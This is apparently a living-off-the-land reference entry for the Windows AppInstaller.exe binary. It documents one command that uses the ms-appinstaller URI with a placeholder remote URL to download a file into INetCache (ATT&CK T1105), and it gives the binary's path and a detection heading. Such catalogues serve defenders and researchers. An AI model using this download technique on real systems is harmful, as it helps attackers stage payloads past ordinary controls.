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AppInstaller.exe

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Tool used for installation of AppX/MSIX applications on Windows 10

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01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

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EXAMPLE 01T1105

AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.

COMMAND
start ms-appinstaller://?source={REMOTEURL:.exe}
USE CASE
Download file from Internet
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Download · INetCache
02 / ON DISK

Known paths

C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Wade Hickey@notwhickey